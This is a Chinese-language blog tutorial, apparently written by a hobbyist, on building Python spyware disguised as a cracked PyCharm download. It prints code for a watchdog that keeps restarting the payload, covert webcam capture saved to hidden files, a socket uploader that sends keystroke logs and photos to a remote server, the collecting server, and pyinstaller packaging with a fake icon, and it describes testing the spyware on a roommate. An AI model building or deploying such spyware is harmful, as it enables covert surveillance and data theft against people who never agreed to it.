前言
花了挺長時間去開發的,中間有很多包是抄的,比如DDL注入、關於opencv等等,主要其實做了一些拼接、打包、部署。
寫這篇博客並不真的想去寫病毒攻擊別人,而是想告訴大家簡單的病毒的原理以及其實我們py學好了,也有能力做出來,並不算難。
寫這個東西的人挺少的。那么,我們開始吧。
注:本文源碼並不會直接公布於博客,希望對其有興趣的朋友添加我的QQ:1625098483獲取,以防不法用途,我可不想吃國家飯(牢飯)。
病毒原理
這里感謝b站up主提供的思路@路飛學城
三個.exe:Pycharm破解版.exe、WinCoreManagement.exe、System.exe
首先我們有個偽裝的程序,比如相信有很多程序猿都去下載過XXX軟件破解版,我們這里以"Pycharm破解版"為例。
我們會給用戶下載一個壓縮包【Pycharm破解版】,里面一定會有很多奇奇怪怪的東西,然后我們把三個.exe也放在里面。
當用戶打開Pycharm.exe時,會去調用WinCoreManagement.exe、System.exe,以及正常的Pycharm程序,這樣用戶就難以發現。
其中調用的WinCoreManagement.exe就是我們核心的病毒程序了,我給它加了三個功能:不定時拍照、記錄用戶的輸入、偶爾鎖下用戶鍵盤。
剛才還啟用了一個System.exe,當用戶發現了我們的主病毒程序,去任務管理器殺掉了主病毒進程,此時這個System.exe進程就會不斷去重啟病毒程序。
而且一般人其實是不敢去殺一個叫System的進程的,對吧。這樣,就算是有點經驗的程序員,也難不中招。
源碼解析
frozen.py
用於處理多線程錯亂的問題
Pycharm破解版.py
import os
import subprocess
import time
import frozen # Pyinstaller多進程代碼打包exe出現多個進程解決方案
import multiprocessing
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多進程代碼打包exe出現多個進程解決方案
os.chdir(r'.')
#subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
subprocess.Popen(r'System.exe') # System.exe負責無限重啟病毒程序WinCoreManagerment.exe
time.sleep(20)
這一塊兒主要是去調用一個病毒程序和進行對用戶的欺騙程序,應該不難理解。
System.py
import frozen # Pyinstaller多進程代碼打包exe出現多個進程解決方案
import multiprocessing
import subprocess, time, sys, os
import win32con
import win32api
CMD = r"WinCoreManagement.exe" # 需要執行程序的絕對路徑
def run(cmd):
# print('start OK!')
os.chdir(os.path.dirname(os.path.abspath(__file__)))
p = subprocess.Popen(cmd, shell=False)
p.wait() # 類似於p.join()
try:
subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理殘余
except Exception as e:
# print(e)
pass
# print('子進程關閉,重啟')
run(cmd)
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多進程代碼打包exe出現多個進程解決方案
run(CMD)
若用戶殺掉病毒主程序,這個程序可以用來不斷使病毒程序重啟
WinCoreManagement.py
分為三塊
多線程
from threading import Timer
from threading import Thread
from threading import Lock
# Lock() 線程鎖,防止線程全部錯亂
self.mutex_log = Lock() # 日志鎖
self.mutex_photo = Lock() # 照片鎖
self.mutex_sock = Lock() # 套接字上傳鎖
# .release() 釋放鎖
self.mutex_log.release()
self.mutex_photo.release()
self.mutex_sock.release()
日志文件的讀寫
# 用戶家目錄,替換用戶
# 記住這個 self.base_dir : 路徑
# Expand the user's home directory,比如我的電腦就是 C:\\Users\\Daniel
self.base_dir = os.path.expanduser('~') # 權限問題
# 初始化生成日志文件
self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
open(self.log_path, 'a', encoding='utf-8').close()
win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)
def log_debug(self, res):
if not self.debug: return
self.mutex_debug.acquire()
with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
# 寫進去
f.write('\n%s\n' % res)
# 刷新緩沖區
f.flush()
# 釋放掉
self.mutex_debug.release()
# 和上面那個同理
def log(self, res):
self.mutex_log.acquire()
with open(self.log_path, mode='a', encoding='utf-8') as f:
f.write(res)
f.flush()
self.mutex_log.release()
照相功能,opencv會用就行
def take_photoes(self):
while True:
time.sleep(10)
# 圖片路徑,同時帶上路徑+時間
photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
cap = None
try:
# VideoCapture()中第一個參數是攝像頭標號,默認情況電腦自帶攝像頭索引為0,外置為1.2.3…,
# 參數是視頻文件路徑則打開視頻,如cap = cv2.VideoCapture(“../test.avi”)
# CAP_DSHOW是微軟特有的,cv2.release()之后攝像頭依然開啟,需要指定該參數
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
ret, frame = cap.read()
self.mutex_photo.acquire()
cv2.imwrite(photo_path, frame)
except Exception as e:
self.log_debug('照相異常: %s' % e)
finally:
# 無論如何都要釋放鎖,關閉相機
self.mutex_photo.release()
if cap is not None: cap.release() #None.release()
cv2.destroyAllWindows()
if os.path.exists(photo_path):
win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)
上傳功能
原理: 套接字: Socket = (IP地址:端口號) 服務端監聽: 服務器端套接字並不定位具體的客戶端套接字,而是等待連接。即打開所有端口 客戶端請求: 客戶端的套接字提出連接請求,要連接的是服務端的套接字。因此要指定服務器的套接字,指出其地址+端口號,然后向服務端提出連接請求 連接確認: 服務端接受到了客戶端的套接字的連接請求,響應,然后建立一個新的線程,並把服務器套接字的描述發給客戶端 一旦客戶端確認了此描述,連接就好了。然后服務器套接字繼續處於監聽,接收其他客戶端套接字的連接請求
配置
def send_data(self, headers, data):
try:
self.mutex_sock.acquire() # 上傳數據的過程中不要做其他事情
# 配置問題,ipv4+網絡流傳輸,不用管
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#套接字:ip+端口
client.connect((self.server_ip, self.server_port))
# dumps 編碼,將一個python數據結構轉為Json編碼的字符串
head_json = json.dumps(headers)
# 換格式
head_json_bytes = bytes(head_json, encoding='utf-8')
# 發送Json包,到時候解碼
client.send(struct.pack('i', len(head_json_bytes)))
client.send(head_json_bytes)
client.sendall(data)
#關閉套接字
client.close()
# 成功傳輸發回命令
res = (True, 'ok')
except ConnectionRefusedError as e:
msg = '套接字服務端未啟動: %s' % e
res = (False, msg)
except Exception as e:
msg = '套接字其他錯誤:%s' % e
res = (False, msg)
finally:
self.mutex_sock.release()
return res
發送日志信息
# 發送日志信息
def upload_log(self):
while True:
time.sleep(1)
# 沒東西就直接跳掉
if not os.path.getsize(self.log_path): continue
# 開鎖
self.mutex_log.acquire()
# 打開文件,二進制讀寫手法
with open(self.log_path, mode='rb+') as f:
data = f.read()
self.mutex_log.release()
# 文件大小+文件名字,以路徑啥的命名
headers = {
'data_size': len(data),
'filename': os.path.basename(self.log_path)
}
self.log_debug('正在往服務端發送日志......[%s]' % data)
is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('日志[%s]發送成功。。。' % data)
else:
self.log_debug('日志[%s]發送失敗:%s' % (data, msg))
continue
# 指針的位置重新定回0,好習慣
f.truncate(0)
發送圖片
def upload_photoes(self):
while True:
time.sleep(3)
# 包含文件的列表取出來
files = os.listdir(self.base_dir)
# jpeg結尾的文件全給我導出來
files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
for file_name in files_jpeg:
file_path = r'%s/%s' % (self.base_dir, file_name)
# 沒文件跳出去
if not os.path.exists(file_path): continue
# 日志寫進去
self.log_debug('開始上傳圖片: %s' % file_name)
# 文件大小+文件名字
headers = {
'data_size': os.path.getsize(file_path),
'filename': file_name
}
# 開鎖
self.mutex_photo.acquire()
# 二進制讀寫數據及上傳
with open(file_path, mode='rb+') as f:
data = f.read()
self.mutex_photo.release()
is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('圖片%s發送完畢......' % file_name)
else:
self.log_debug('圖片%s發送失敗:%s' % (file_name, msg))
continue
# 移除文件跑路,自己測試的時候可以注釋掉
#os.remove(file_path)
DLL注入
這塊兒,我們正經pythoner就先不要了解了
准備工作
1、最新anocoda3.7
https://www.anaconda.com/distribution/#download-section
2、提速下載可以改變源
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
3、安裝pywin32,安裝時指定安裝目錄,默認為C:\Python37\Lib\site-packages
https://github.com/mhammond/pywin32/releases
4、安裝opencv-python
pip install opencv-python
5、安裝pyinstaller,依賴pyin32
pip install pyinstaller
6、ico文件准備好
在線制作
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html
服務端原理
源碼 Toad_server.py 解析
import socketserver
import struct
import json
import os
import time
class ToadServer(socketserver.BaseRequestHandler):
coding='utf-8'
max_packet_size=1024
def handle(self):
ip,port=self.client_address
with open(r'access.log',mode='a',encoding='utf-8') as f:
f.write('[%s] X用戶-> %s:%s 正在上傳數據\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port))
try:
head = self.request.recv(4)
head_json_len = struct.unpack('i', head)[0]
head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
data_len = head_json['data_size']
filename = head_json['filename']
recv_size = 0
recv_data = b''
with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f:
while recv_size < data_len:
recv_data = self.request.recv(1024)
f.write(recv_data)
recv_size += len(recv_data)
except Exception as e:
# 客戶端斷開
self.request.close()
myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer)
myserver.serve_forever()
所有端口都開啟監聽,同時在寫病毒程序時候,記得放行9999安全組。
服務端可以直接部署到阿里雲等服務器上,然后安裝上Python 3.7左右版本,
之后用XFTP上傳Toad_server.py
用 python3 Toad_server.py 命令使其運行
打包病毒.exe
和在雲服務器上部署web項目一樣,總不能讓所有用戶裝上和我們一樣的環境吧。
這樣,我們用pyinstaller來打包,安裝在上文,同時可以給軟件換個更"專業"的圖標,就能確保用戶在自己的機子上也能運行了。
命令: pyinstaller -i pycharm.ico -Fw Pycharm.py
生成的.exe會在dist文件夾中。
實踐出真知
三個exe文件打包出來,發給某個倒霉蛋,做點偽裝...
自己阿里雲上的服務端打開放那跑
日志文件是access.log,記錄用戶鍵盤輸入是make.log,生成的圖片在client_msg文件夾中。
那么我們現在就去找個可愛的室友測試一下吧~
打下碼哈哈哈哈哈哈哈哈哈哈哈
不過一開始被360阻止了攝像頭權限,真是流氓軟件之首嘖嘖嘖
結尾
那么今天這個有趣的項目就到這了,源碼這里不方便公布。
如果你覺得特別有意思,想研究一下,那去文首添加本人QQ拿吧~
順便點個關注點個贊喲,hxdm!